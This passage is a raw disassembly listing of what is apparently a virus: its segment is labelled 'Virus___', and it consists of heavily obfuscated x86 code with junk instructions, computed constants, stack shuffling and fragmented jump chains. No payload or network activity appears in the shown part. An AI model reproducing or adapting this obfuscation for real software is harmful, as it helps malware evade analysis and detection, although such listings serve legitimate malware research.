; ---------------------------------------------------------------------------


loc_584FFD:				; CODE XREF: Virus___:0058E615j
		shr	ebx, 2
		neg	ebx
		dec	ebx
		neg	ebx
		add	ebx, 0D35E5FECh
		sub	ebp, 69660EE7h
		add	ebp, ebx
		add	ebp, 69660EE7h
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_591EA3
; ---------------------------------------------------------------------------


loc_585030:				; CODE XREF: Virus___:00592CC5j
		mov	ebp, 20444E31h
		jmp	loc_585E26
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	5975h
		jmp	loc_5934F3
; ---------------------------------------------------------------------------


loc_585048:				; CODE XREF: Virus___:0059034Bj
		mov	[esp], ebx
		mov	ebx, 3A485A2Bh
		mov	edi, ebx
		pop	ebx
		add	edx, 20CB5498h
		sub	edx, edi
		sub	edx, 20CB5498h
		jmp	loc_590541
; ---------------------------------------------------------------------------


loc_585066:				; CODE XREF: Virus___:0058ED93j
		mov	ebx, 4844E9Dh
		sub	ebx, 7F487A69h
		dec	ebx
		jmp	loc_58AAB2
; ---------------------------------------------------------------------------


loc_585077:				; CODE XREF: Virus___:00583BA4j
		add	edx, ebx
		pop	ebx
		mov	ebx, edx
		pop	edx
		jmp	loc_586CEB
; ---------------------------------------------------------------------------
		pop	ecx
		push	esi
		push	ebx
		jmp	loc_58DB51
; ---------------------------------------------------------------------------


loc_58508A:				; CODE XREF: Virus___:0058CEA0j
		pop	ecx
		mov	edi, [esp]
		add	esp, 4
		push	edx
		jmp	loc_58D4E7
; ---------------------------------------------------------------------------


loc_58509A:				; CODE XREF: Virus___:00591468j
		pop	ecx
		jmp	loc_58040C
; ---------------------------------------------------------------------------


loc_5850A0:				; CODE XREF: Virus___:0058B7BFj
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_580357
; ---------------------------------------------------------------------------


loc_5850AE:				; CODE XREF: Virus___:005851A4j
		shl	ecx, 6
		sub	ecx, 0AF609FA6h
		add	esi, ecx
		jmp	loc_580536
; ---------------------------------------------------------------------------


loc_5850BE:				; CODE XREF: Virus___:0059407Fj
		or	dl, bh
		mov	ebx, [esp]
		add	esp, 4
		push	2EFh
		mov	[esp], ebx
		mov	bl, 62h
		or	dl, bl
		pop	ebx
		jmp	loc_58CA97
; ---------------------------------------------------------------------------


loc_5850D8:				; CODE XREF: Virus___:005822F5j
		pop	edi
		mov	edx, 0A496A829h
		add	edx, ebp
		pop	ebp
		add	dword ptr [esp+4], 285F68EBh
		add	dword ptr [esp+4], 6CBA769Fh
		jmp	loc_586C6F
; ---------------------------------------------------------------------------


loc_5850F6:				; CODE XREF: Virus___:00590AC7j
		mov	ebx, 5187507h
		jmp	loc_5827F2
; ---------------------------------------------------------------------------


loc_585100:				; CODE XREF: Virus___:0057F6D4j
		add	esp, 4
		jmp	loc_593ABB
; ---------------------------------------------------------------------------


loc_585108:				; CODE XREF: Virus___:005836E7j
		xor	ecx, 18574129h
		add	ecx, 56AA5871h
		sub	esi, ecx
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_58D4FA
		push	5BE4h
		jmp	loc_592E70
; ---------------------------------------------------------------------------


loc_585140:				; CODE XREF: Virus___:00588EDEj
		mov	[esp], edx
		mov	edx, 6A89575Ah
		mov	esi, 7FC09A1Fh
		jmp	loc_5913B0
; ---------------------------------------------------------------------------


loc_585152:				; CODE XREF: Virus___:0058C296j
		mov	[esp], edx
		jmp	loc_58C29B
; ---------------------------------------------------------------------------


loc_58515A:				; CODE XREF: Virus___:005867B6j
		mov	[esp], esi
		push	67D63C04h
		pop	esi
		jmp	loc_58363B
; ---------------------------------------------------------------------------


loc_585168:				; CODE XREF: Virus___:0057F7F5j
		push	341h
		mov	[esp], ebx
		jmp	loc_586718
; ---------------------------------------------------------------------------


loc_585175:				; CODE XREF: Virus___:00590169j
		mov	ebp, 3B1A24B7h
		jmp	loc_58652D
; ---------------------------------------------------------------------------


loc_58517F:				; CODE XREF: Virus___:00593DADj
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_58C5DA
; ---------------------------------------------------------------------------


loc_58518B:				; CODE XREF: Virus___:005817E3j
		and	esi, 2043400Eh
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0AD43898h
		shl	ecx, 4
		not	ecx
		jmp	loc_5850AE
; ---------------------------------------------------------------------------


loc_5851A9:				; CODE XREF: Virus___:00591A47j
		pop	esi
		add	ecx, 30FA39BFh
		jmp	loc_58C4B3
; ---------------------------------------------------------------------------


loc_5851B5:				; CODE XREF: Virus___:005906C0j
		add	ebp, 5E412A94h
		push	edx
		jmp	loc_5876C7
; ---------------------------------------------------------------------------


loc_5851C1:				; CODE XREF: Virus___:005863B7j
		push	edx
		add	dword ptr [esp], 342815EFh
		pop	ebp
		sub	ebp, 342815EFh
		jmp	loc_58BE82
; ---------------------------------------------------------------------------


loc_5851D5:				; CODE XREF: Virus___:005894DBj
		and	eax, 310D312Ch
		jmp	loc_584B79
; ---------------------------------------------------------------------------


loc_5851DF:				; CODE XREF: Virus___:005931FEj
		sub	edx, 7DDF41A2h
		pop	eax
		jmp	loc_592918
; ---------------------------------------------------------------------------


loc_5851EB:				; CODE XREF: Virus___:00590030j
		mov	ebp, 72AD6B4Bh
		add	ebp, 8D5294B9h
		sub	esi, ebp
		jmp	loc_58A8E9
; ---------------------------------------------------------------------------


loc_5851FD:				; CODE XREF: Virus___:00590BC3j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5818E5
; ---------------------------------------------------------------------------


loc_585212:				; CODE XREF: Virus___:00588E7Fj
		pop	ecx
		jmp	loc_58922B
; ---------------------------------------------------------------------------


loc_585218:				; CODE XREF: Virus___:00584251j
		mov	ecx, 2DF95E2Ah
		shr	ecx, 7
		xor	ecx, 77C6C9A8h
		add	esi, ecx
		pop	ecx
		add	esi, 34961D42h
		jmp	loc_5858A7
; ---------------------------------------------------------------------------


loc_585234:				; CODE XREF: Virus___:00592369j
		add	bl, 5Ah
		add	dl, bl
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	689Eh
		jmp	loc_5814A4
; ---------------------------------------------------------------------------


loc_585252:				; CODE XREF: Virus___:0058FCAAj
		add	eax, esi
		jmp	loc_584628
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_585269:				; CODE XREF: Virus___:005902FDj
		mov	esi, 457D5EE9h
		shl	esi, 3
		push	edx
		mov	edx, 37FD2DABh
		xor	edx, 3B146A23h
		push	ebx
		mov	ebx, 0
		sub	ebx, edx
		jmp	loc_59196A
; ---------------------------------------------------------------------------


loc_58528A:				; CODE XREF: Virus___:0058077Fj
		push	ebx
		jmp	loc_58DE2D
; ---------------------------------------------------------------------------


loc_585290:				; CODE XREF: Virus___:00585699j
		xchg	edi, ebp
		inc	edi
		xchg	edi, ebp
		not	ebp
		jmp	loc_591496
; ---------------------------------------------------------------------------


loc_58529C:				; CODE XREF: Virus___:00583A78j
		push	4168h
		mov	[esp], esp
		push	esi
		mov	esi, 4
		jmp	loc_58BD17
; ---------------------------------------------------------------------------


loc_5852AF:				; CODE XREF: Virus___:0058CCD3j
		shr	cx, 1
		inc	cx
		xor	cx, 54A1h
		or	cx, 7D85h
		add	cx, 97Bh
		jmp	loc_589D52
; ---------------------------------------------------------------------------


loc_5852C8:				; CODE XREF: Virus___:005853A8j
		add	esp, 4
		push	esi
		mov	esi, 2
		jmp	loc_594523
; ---------------------------------------------------------------------------


loc_5852D6:				; CODE XREF: Virus___:00582E63j
		add	esp, 4
		sub	esp, 4
		jmp	loc_58A935
; ---------------------------------------------------------------------------
		push	small 6D7Eh
		jmp	loc_5804CE
; ---------------------------------------------------------------------------


loc_5852ED:				; CODE XREF: Virus___:0058A306j
		mov	edx, 4E167C90h
		xor	edx, 57D95F65h
		neg	edx
		jmp	loc_580BD6
; ---------------------------------------------------------------------------


loc_5852FF:				; CODE XREF: Virus___:0057FD0Fj
		add	edx, 619B4522h
		pop	ecx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		idiv	cl
		movzx	cx, ah
		jmp	loc_58CFCB
; ---------------------------------------------------------------------------


loc_58531D:				; CODE XREF: Virus___:0058C0A4j
		add	ebp, 50DA25CDh
		jmp	loc_59118E
; ---------------------------------------------------------------------------


loc_585328:				; CODE XREF: Virus___:0058EC0Ej
		xor	ebp, 70DE2302h
		not	ebp
		jmp	loc_593E92
; ---------------------------------------------------------------------------


loc_585335:				; CODE XREF: Virus___:0059400Bj
		sub	edi, 7A046465h
		add	ebx, edi
		pop	edi
		jmp	loc_5836BB
; ---------------------------------------------------------------------------


loc_585343:				; CODE XREF: Virus___:0058DAC7j
		push	ebp
		push	ecx
		push	2F0703B4h
		mov	ecx, [esp]
		add	esp, 4
		shr	ecx, 8
		add	ecx, 46A66648h
		mov	ebp, ecx
		pop	ecx
		push	ebx
		mov	ebx, 1A6E274Bh
		add	ebx, 7F6C1D67h
		shl	ebx, 2
		sub	ebx, 0F52B92EAh
		mov	esi, ebx
		pop	ebx
		push	ebx
		mov	ebx, 7D4721C9h
		add	esi, ebx
		pop	ebx
		push	ebx
		push	eax
		mov	eax, 27A66598h
		mov	ebx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		not	dword ptr [esp]
		jmp	loc_581D33
; ---------------------------------------------------------------------------


loc_585395:				; CODE XREF: Virus___:0058FC5Bj
		mov	edi, esp
		jmp	loc_5890E1
; ---------------------------------------------------------------------------


loc_58539C:				; CODE XREF: Virus___:00593540j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5852C8
; ---------------------------------------------------------------------------


loc_5853AD:				; CODE XREF: Virus___:00592326j
		sub	esp, 4
		mov	[esp], esi
		push	edx
		jmp	loc_58A7C2
; ---------------------------------------------------------------------------


loc_5853BC:				; CODE XREF: Virus___:0058366Dj
		push	ebp
		jmp	loc_5894F2
; ---------------------------------------------------------------------------


loc_5853C2:				; CODE XREF: Virus___:0058BA09j
		pop	ebx
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_5912A8
; ---------------------------------------------------------------------------


loc_5853DC:				; CODE XREF: Virus___:00585F4Ej
		pop	edi
		push	25ECh
		jmp	loc_57FE70
; ---------------------------------------------------------------------------


loc_5853E7:				; CODE XREF: Virus___:00593CEEj
		dec	dl
		add	dl, 5Ch
		sub	dl, 33h
		sub	al, 0EBh
		jmp	loc_5824D1
; ---------------------------------------------------------------------------


loc_5853F6:				; CODE XREF: Virus___:00582A3Cj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_586DAF
; ---------------------------------------------------------------------------


loc_585401:				; CODE XREF: Virus___:0058DF6Bj
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_591AE2
; ---------------------------------------------------------------------------


loc_585419:				; CODE XREF: Virus___:0058C1B4j
		add	eax, ecx
		pop	ecx
		add	eax, ebp
		jmp	loc_588C24
; ---------------------------------------------------------------------------


loc_585423:				; CODE XREF: Virus___:00582F4Fj
		add	esi, 4
		push	ebx
		push	33FA6863h
		pop	ebx
		push	eax
		mov	eax, 16054B36h
		jmp	loc_591B58
; ---------------------------------------------------------------------------


loc_58543B:				; CODE XREF: Virus___:0058F389j
		mov	edx, edi
		pop	edi
		jmp	loc_58757A
; ---------------------------------------------------------------------------


loc_585443:				; CODE XREF: Virus___:005914EBj
		mov	eax, [esp]
		push	ebx
		jmp	loc_587368
; ---------------------------------------------------------------------------


loc_58544C:				; CODE XREF: Virus___:00589CADj
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, 76EA7C4Ch
		jmp	loc_5892D6
; ---------------------------------------------------------------------------


loc_58545A:				; CODE XREF: Virus___:0058EF3Ej
		xor	ecx, edi
		jmp	loc_58DD58
; ---------------------------------------------------------------------------


loc_585461:				; CODE XREF: Virus___:00588B51j
		add	esp, 4
		pop	ecx
		sub	eax, 6D61133Ah
		add	eax, edi
		push	ecx
		jmp	loc_5806DD
; ---------------------------------------------------------------------------


loc_585475:				; CODE XREF: Virus___:00587A37j
		add	esi, 708C367Dh
		add	esi, edx
		push	edi
		mov	edi, 29877DFh
		dec	edi
		neg	edi
		jmp	loc_5829AE
; ---------------------------------------------------------------------------


loc_58548B:				; CODE XREF: Virus___:0058701Cj
		mov	eax, esi
		pop	esi
		add	eax, 9B10CD4h
		sub	eax, 281366DDh
		jmp	loc_58F2AA
; ---------------------------------------------------------------------------


loc_58549D:				; CODE XREF: Virus___:00583450j
		pop	eax
		push	edx
		mov	edx, 0
		sub	edx, edi
		xchg	edx, edi
		pop	edx
		jmp	loc_58D5B2
; ---------------------------------------------------------------------------


loc_5854AE:				; CODE XREF: Virus___:00594175j
		sub	ebx, esi
		pop	esi
		xor	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	ecx, ebp
		pop	ebp
		xor	edi, ecx
		pop	ecx
		add	ebp, edi
		mov	edi, [esp]
		push	ecx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		jmp	loc_58F086
; ---------------------------------------------------------------------------


loc_5854E8:				; CODE XREF: Virus___:0058E13Fj
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_585811
; ---------------------------------------------------------------------------


loc_5854F9:				; CODE XREF: Virus___:0058D480j
		add	ecx, 1D84444Fh
		or	ecx, 0F4F571Eh
		xor	ecx, 721B7F26h
		neg	ecx
		add	ecx, 7EAE0FB2h
		sub	ecx, 167A878Bh
		sub	ebx, ecx
		mov	ecx, [esp]
		push	15D0h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	edi
		push	ebp
		push	ecx
		mov	ecx, 4A8E5BDAh
		mov	ebp, ecx
		pop	ecx
		mov	edi, ebp
		jmp	loc_590F35
; ---------------------------------------------------------------------------


loc_585550:				; CODE XREF: Virus___:00584632j
		push	77B6h
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_5840E4
; ---------------------------------------------------------------------------


loc_585561:				; CODE XREF: Virus___:00590BB3j
		mov	[esp], ecx
		mov	cl, 0A0h
		add	cl, 38h
		jmp	loc_590E02
; ---------------------------------------------------------------------------


loc_58556E:				; CODE XREF: Virus___:0058A1FFj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		push	eax
		mov	eax, 39EF7165h
		sub	edi, eax
		pop	eax
		add	edi, ebp
		jmp	loc_582334
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2B87h
		mov	[esp], ecx
		push	esp
		jmp	loc_5886D6
; ---------------------------------------------------------------------------


loc_5855A1:				; CODE XREF: Virus___:00582B62j
		mov	[esp], esi
		push	ecx
		jmp	loc_5939B1
; ---------------------------------------------------------------------------


loc_5855AA:				; CODE XREF: Virus___:00591456j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_58B186
; ---------------------------------------------------------------------------


loc_5855B3:				; CODE XREF: Virus___:00584FDBj
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	ebp
		push	314542F1h
		jmp	loc_591986
; ---------------------------------------------------------------------------


loc_5855C7:				; CODE XREF: Virus___:0058D62Bj
		sub	edx, 1CB55D0Ah
		pop	ebp
		pop	edi
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		xor	[esp], eax
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5855E3:				; CODE XREF: Virus___:00581AD7j
		xor	eax, ebp
		pop	ebp
		push	eax
		pop	ebp
		jmp	loc_59351A
; ---------------------------------------------------------------------------


loc_5855ED:				; CODE XREF: Virus___:00581B97j
		push	ebp
		mov	ebp, 27172EB0h
		add	ebp, 248C4FA8h
		xor	ebp, 5B9E2BA8h
		add	ebp, 62600D3h
		shr	ebp, 5
		sub	ebp, 503E52B2h
		jmp	loc_59080E
; ---------------------------------------------------------------------------


loc_585613:				; CODE XREF: Virus___:00580D3Fj
		add	edx, 4
		jmp	loc_59133B
; ---------------------------------------------------------------------------


loc_58561E:				; CODE XREF: Virus___:0058F331j
		add	bl, al
		jmp	loc_5911E3
; ---------------------------------------------------------------------------


loc_585625:				; CODE XREF: Virus___:0058C9D4j
		xor	edx, 0FEDCB7EAh
		add	eax, edx
		pop	edx
		sub	esp, 4
		jmp	loc_58F570
; ---------------------------------------------------------------------------


loc_585636:				; CODE XREF: Virus___:0058B309j
		neg	ebx
		jmp	loc_582C71
; ---------------------------------------------------------------------------


loc_58563D:				; CODE XREF: Virus___:0058942Aj
		mov	dl, cl
		mov	bl, dl
		mov	edx, [esp]
		add	esp, 4
		mov	cl, [esp+2]
		mov	[esp+2], bl
		jmp	loc_58DF64
; ---------------------------------------------------------------------------


loc_585657:				; CODE XREF: Virus___:0058F81Ej
		add	esp, 4
		add	eax, ebp
		mov	ebp, [esp]
		jmp	loc_58694A
; ---------------------------------------------------------------------------


loc_585664:				; CODE XREF: Virus___:0058AA61j
		xor	ebx, 340826D8h
		inc	ebx
		or	ebx, 2AF12F9Dh
		jmp	loc_584A05
; ---------------------------------------------------------------------------


loc_585676:				; CODE XREF: Virus___:0059267Cj
		mov	esi, 394F7E95h
		sub	esi, 199B2F47h
		inc	esi
		xor	esi, 1FB44F4Bh
		push	61B0h
		mov	[esp], eax
		push	ebp
		mov	ebp, 0A302A45h
		shr	ebp, 6
		jmp	loc_585290
; ---------------------------------------------------------------------------


loc_58569E:				; CODE XREF: Virus___:0058080Cj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_585917
; ---------------------------------------------------------------------------


loc_5856AC:				; CODE XREF: Virus___:0058415Cj
		pop	dword ptr [edi+40h]
		mov	ebx, [esp]
		push	esi
		jmp	loc_58F58C
; ---------------------------------------------------------------------------


loc_5856B8:				; CODE XREF: Virus___:0057FE7Bj
		dec	ebx
		jmp	loc_58A657
; ---------------------------------------------------------------------------


loc_5856BE:				; CODE XREF: Virus___:0058EF82j
		mov	eax, 6B0A6034h
		jmp	loc_58EBA2
; ---------------------------------------------------------------------------


loc_5856C8:				; CODE XREF: Virus___:00593360j
		pop	esp
		or	eax, eax
		jz	loc_583E0E
		push	1BC6h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ecx
		push	4494h
		mov	[esp], esi
		push	0FEh
		mov	esi, [esp]
		add	esp, 4
		mov	ecx, esi
		mov	esi, [esp]
		push	esi
		push	esp
		jmp	loc_59146D
; ---------------------------------------------------------------------------


loc_585701:				; CODE XREF: Virus___:00581C77j
		sub	ebx, 4659AE54h
		add	edx, ebx
		pop	ebx
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_58C27E
; ---------------------------------------------------------------------------


loc_58571A:				; CODE XREF: Virus___:00593D5Dj
		pop	edx
		and	edx, 3F07667Eh
		push	esi
		mov	esi, 6D630DF2h
		xor	edx, esi
		pop	esi
		xor	edi, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5844EC
; ---------------------------------------------------------------------------


loc_585735:				; CODE XREF: Virus___:0057FADEj
		mov	[esp], edx
		not	dword ptr [esp]
		mov	edx, [esp]
		push	15E7h
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ebp
		push	378F4B1Eh
		pop	ebp
		sub	ebp, 394F0824h
		shr	ebp, 2
		sub	ebp, 20A80AB3h
		jmp	loc_58ED98
; ---------------------------------------------------------------------------


loc_585768:				; CODE XREF: Virus___:0058132Dj
		sub	esi, 0FBC197CEh
		add	ebp, esi
		pop	esi
		push	367Ah
		jmp	loc_580F8C
; ---------------------------------------------------------------------------


loc_58577B:				; CODE XREF: Virus___:0058F0EBj
		mov	[esp], edi
		mov	edi, 61BD0396h
		and	edi, 6B771CE8h
		push	0
		sub	[esp], edi
		pop	edi
		sub	edi, 0D90617Dh
		add	edi, 7A9A6EBAh
		push	edx
		mov	edx, 2FED78B8h
		sub	edx, 0B4EB21A1h
		xor	edi, edx
		jmp	loc_58A490
; ---------------------------------------------------------------------------


loc_5857B1:				; CODE XREF: Virus___:00586162j
		add	dl, 3Dh
		sub	al, 69h
		sub	al, dl
		jmp	loc_59408B
; ---------------------------------------------------------------------------


loc_5857BD:				; CODE XREF: Virus___:0058ABDCj
		xchg	edx, ebx
		shr	ebx, 6
		not	ebx
		push	eax
		mov	eax, 0FE45A48h
		push	esi
		jmp	loc_5846E5
; ---------------------------------------------------------------------------


loc_5857D0:				; CODE XREF: Virus___:005933D0j
		mov	ebp, edx
		pop	edx
		push	ebp
		push	esi
		mov	esi, 2C795C05h
		mov	ebp, esi
		pop	esi
		or	ebp, 541B7606h
		xor	ebp, 66EE0BB7h
		sub	ebp, 2AF1194h
		jmp	loc_588494
; ---------------------------------------------------------------------------


loc_5857F4:				; CODE XREF: Virus___:00591BD5j
		add	edi, 72403576h
		pop	eax
		mov	edx, edi
		pop	edi
		add	ebp, edx
		pop	edx
		push	edx
		jmp	loc_593DD3
; ---------------------------------------------------------------------------


loc_585807:				; CODE XREF: Virus___:0058F686j
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_5939A1
; ---------------------------------------------------------------------------


loc_585811:				; CODE XREF: Virus___:005854F4j
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_58F0DB
; ---------------------------------------------------------------------------


loc_58581F:				; CODE XREF: Virus___:005867E3j
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_58BD85
; ---------------------------------------------------------------------------


loc_585844:				; CODE XREF: Virus___:0058A3A1j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 134C7AE0h
		push	ebp
		mov	ebp, 560A5D82h
		push	edi
		jmp	loc_58D08C
; ---------------------------------------------------------------------------


loc_58585E:				; CODE XREF: Virus___:005800C4j
		not	ecx
		xchg	ecx, ebx
		jmp	loc_589E51
; ---------------------------------------------------------------------------


loc_585867:				; CODE XREF: Virus___:00593382j
		mov	[esp], esi
		push	ebp
		push	eax
		mov	eax, 6E661F5Fh
		mov	ebp, 3E174677h
		jmp	loc_58BB19
; ---------------------------------------------------------------------------


loc_58587B:				; CODE XREF: Virus___:0058E1DAj
		not	ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_58DEFE
; ---------------------------------------------------------------------------


loc_58589D:				; CODE XREF: Virus___:00590DD2j
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_593A84
; ---------------------------------------------------------------------------


loc_5858A7:				; CODE XREF: Virus___:0058522Fj
		sub	esi, 0D235A19h
		add	esi, ebx
		add	esi, 0D235A19h
		sub	esi, 34961D42h
		push	ebx
		mov	ebx, 779D3B14h
		sub	esi, ebx
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_588316
; ---------------------------------------------------------------------------


loc_5858CC:				; CODE XREF: Virus___:0058CD15j
		pop	ecx
		add	esp, 4
		pop	dword ptr [edi+24h]


loc_5858D6:				; CODE XREF: Virus___:00585936j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58F1C8
; ---------------------------------------------------------------------------


loc_5858E4:				; CODE XREF: Virus___:0057F62Ej
		add	ebx, 4
		jmp	loc_57FD60
; ---------------------------------------------------------------------------


loc_5858EF:				; CODE XREF: Virus___:00588B6Fj
		shr	esi, 4
		push	edi
		mov	edi, 0FF5C2BF1h
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		add	edi, esi
		jmp	loc_584C8B
; ---------------------------------------------------------------------------


loc_58590A:				; CODE XREF: Virus___:00580432j
		mov	edi, esp
		add	edi, 4
		jmp	loc_584FEA
; ---------------------------------------------------------------------------


loc_585917:				; CODE XREF: Virus___:005856A7j
		shr	esi, 5
		push	edx
		mov	edx, 19D1502h
		xor	edx, 166E5DECh
		jmp	loc_58E7AF
; ---------------------------------------------------------------------------


loc_58592B:				; CODE XREF: Virus___:0058C629j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_5858D6
		push	326Ch
		mov	[esp], ebx
		mov	ebx, 1Ch
		push	edi
		mov	edi, 2C3A7C22h
		add	ebx, edi
		push	dword ptr [esp]
		jmp	loc_58DA9C
; ---------------------------------------------------------------------------


loc_585959:				; CODE XREF: Virus___:005939BAj
		dec	edx
		xor	edx, 0D2749898h
		mov	ecx, edx
		pop	edx
		push	ecx
		pop	esi
		pop	ecx
		or	ecx, esi
		mov	esi, [esp]
		jmp	loc_58C6D2
; ---------------------------------------------------------------------------


loc_585970:				; CODE XREF: Virus___:0058653Bj
		pop	ebp
		xor	ebx, 77766B6Bh
		add	edi, ebx
		pop	ebx
		push	esi
		push	ebx
		mov	ebx, 3E23792Ch
		jmp	loc_590E55
; ---------------------------------------------------------------------------


loc_585986:				; CODE XREF: Virus___:00584C35j
		push	edi
		mov	edi, 35250FB5h
		mov	ecx, 0FD2F50B9h
		sub	ecx, edi
		pop	edi
		mov	edx, ecx
		pop	ecx
		push	edi
		mov	edi, 754B1260h
		sub	edi, 2237F0ECh
		jmp	loc_581C66
; ---------------------------------------------------------------------------


loc_5859A8:				; CODE XREF: Virus___:0058CB26j
		mov	ecx, 4AE87968h
		jmp	loc_57FC3E
; ---------------------------------------------------------------------------


loc_5859B2:				; CODE XREF: Virus___:00592591j
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		jmp	loc_5861B0
; ---------------------------------------------------------------------------


loc_5859C6:				; CODE XREF: Virus___:00581DD1j
		pop	eax
		sub	esp, 4
		jmp	loc_58FD43
; ---------------------------------------------------------------------------


loc_5859CF:				; CODE XREF: Virus___:00590FC4j
		mov	[esp], ecx
		mov	ecx, ebx
		mov	edi, ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		push	edi
		push	eax
		mov	eax, 120450A5h
		push	ebp
		push	eax
		mov	eax, 4DC907A2h
		jmp	loc_58E6FA
; ---------------------------------------------------------------------------


loc_5859EF:				; CODE XREF: Virus___:00590DB6j
		sub	edx, 23C904C4h
		jmp	loc_58A560
; ---------------------------------------------------------------------------


loc_5859FA:				; CODE XREF: Virus___:00591010j
		mov	eax, 1B875C3Fh
		jmp	loc_593465
; ---------------------------------------------------------------------------


loc_585A04:				; CODE XREF: Virus___:0057F6C2j
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_5908F4
; ---------------------------------------------------------------------------


loc_585A12:				; CODE XREF: Virus___:005882E0j
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp]
		jmp	loc_5896B6
; ---------------------------------------------------------------------------


loc_585A24:				; CODE XREF: Virus___:005823E5j
		pop	eax
		add	edi, ebp
		push	edx
		jmp	loc_58FDF8
; ---------------------------------------------------------------------------


loc_585A2D:				; CODE XREF: Virus___:0059360Fj
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_585A32:				; CODE XREF: Virus___:00588558j
		pop	esp
		push	esi
		mov	esi, 79890F27h
		not	esi
		neg	esi
		neg	esi
		sub	esi, 46A7106h
		not	esi
		add	esi, 0DB37E57Ch
		jmp	loc_58064A
; ---------------------------------------------------------------------------


loc_585A52:				; CODE XREF: Virus___:0058CA15j
		mov	eax, 30A16305h
		xor	ebx, eax
		jmp	loc_59361C
; ---------------------------------------------------------------------------


loc_585A5E:				; CODE XREF: Virus___:00591FD1j
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_58C0B4
; ---------------------------------------------------------------------------


loc_585A7A:				; CODE XREF: Virus___:00591A58j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_592B23
; ---------------------------------------------------------------------------


loc_585A8C:				; CODE XREF: Virus___:0058BEDFj
		and	bl, 0Eh
		jmp	loc_58A80D
; ---------------------------------------------------------------------------


loc_585A94:				; CODE XREF: Virus___:00593820j
		shl	ebx, 1
		jmp	loc_590A91
; ---------------------------------------------------------------------------


loc_585A9B:				; CODE XREF: Virus___:0058BE22j
		add	ebx, edx
		sub	ebx, 40BC53B4h
		jmp	loc_586254
; ---------------------------------------------------------------------------


loc_585AA8:				; CODE XREF: Virus___:005804BEj
		mov	ebp, 39C62000h
		xor	ebp, 1099177Fh
		sub	ebp, 68B03487h
		xor	ebp, 0FD397F9Ch
		add	edx, ebp
		pop	ebp
		shr	edx, 6
		push	5531h
		mov	[esp], ecx
		jmp	loc_590146
; ---------------------------------------------------------------------------


loc_585AD2:				; CODE XREF: Virus___:0058B3F0j
		add	ebp, 6D786620h
		add	edx, ebp
		pop	ebp
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
